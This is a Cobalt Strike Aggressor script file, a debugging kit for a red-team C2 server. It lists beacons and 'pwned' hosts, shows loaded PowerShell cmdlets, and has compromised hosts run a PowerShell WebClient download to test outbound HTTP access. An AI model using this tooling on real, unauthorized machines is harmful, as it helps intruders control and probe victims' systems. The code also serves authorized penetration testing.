Files
Und3rf10w-Aggressor-scripts/kits/DebugKit/DebugKit.cna
T
2017-01-05 12:19:21 -05:00

103 lines
3.0 KiB
Plaintext

# This kit is limited to actions that I use for development and debugging, and thus is not loaded with the rest of them.
# @Und3rf10w
command !beaconinfo {
foreach $beacon (beacons()) {
println("Beacon ID: " . $beacon['id'] . " is " . $beacon['computer']);
}
}
# This basically shows the powershell commandlets loaded for every beacon
command !loaded_powershell{
foreach $beacon (beacons()) {
if (data_query('cmdlets')[$beacon['id']] ne $null) {
println("\c7ID: \cF" . $beacon['id'] . ",\c3 Hostname: \cF" . $beacon['computer'] . ",\c4 Cmdlets Enabled: \cF" . data_query('cmdlets')[$beacon['id']]);
}
}
}
# This shows what responses generated by the c2 server would look like
command !c2_sample_server{
println(data_query('metadata')['c2sample.server']);
}
# This shows what requests generated by the clients look like
command !c2_sample_client{
println(data_query('metadata')['c2sample.client']);
}
# This shows a list of everyone that's connected to the teamserver:
command !who{
println("\c7Current logged on users are: \cF" . data_query('users'));
}
# This command shows a hostname of every sessions that happened, active or inactive. Basically just to provide a list of pwned hosts.
command !pwn3d_hosts {
foreach $session (data_query('sessions')) {
$computer = $session['computer'];
println($computer);
}
}
popup beacon_bottom {
menu "DebugKit" {
item "Notify at next check-in"{
local('$bid');
foreach $bid ($1){
openOrActivate($bid);
binput($bid, "checkin");
bcheckin($bid);
on beacon_checkin{
elog("Beacon: " . $1 . " checked in at $3 as requested");
}
}
}
item "Display Beacon ID" {
local('$bid');
foreach $bid ($1) {
openOrActivate($bid);
blog($bid, "This beacon's ID is: " . binfo($bid, "id"));
}
}
item "HTTP Egress" {
local('$bid');
foreach $bid ($1){
prompt_text("URL to assess?", "http://google.com", {
$httpDebugURL = $1;
return $httpDebugURL;
});
sleep(1);
binput($1, "powershell (New-Object System.Net.WebClient).DownloadString(\"$httpDebugURL\")");
bpowershell($1, "(New-Object System.Net.WebClient).DownloadString(\"$httpDebugURL\")");
}
}
menu "Loaded PowerShell"{
item "Are PowerShell scripts loaded?"{
local('$bid')
foreach $bid ($1){
if (data_query('cmdlets')[$bid] ne $null) {
openOrActivate($bid);
blog($bid, "\c7PowerShell Import Checker Status\cF:\c3 YES, ACTIVE POWERSHELL IMPORT\cF");
}
else {
openOrActivate($bid);
blog($bid, "\c7PowerShell Import Checker Status\cF:\c4 NO ACTIVE POWERSHELL IMPORTS\cF");
}
}
}
item "Show loaded PowerShell functions"{
local('$bid')
foreach $bid ($1){
if (data_query('cmdlets')[$bid] ne $null) {
openOrActivate($bid);
blog($bid, "\c7Current active PowerShell modules for this Beacon are: \cF" . data_query('cmdlets')[$bid]);
}
else {
openOrActivate($bid);
berror($bid, "\c4ERROR! No active powershell modules");
}
}
}
}
}
}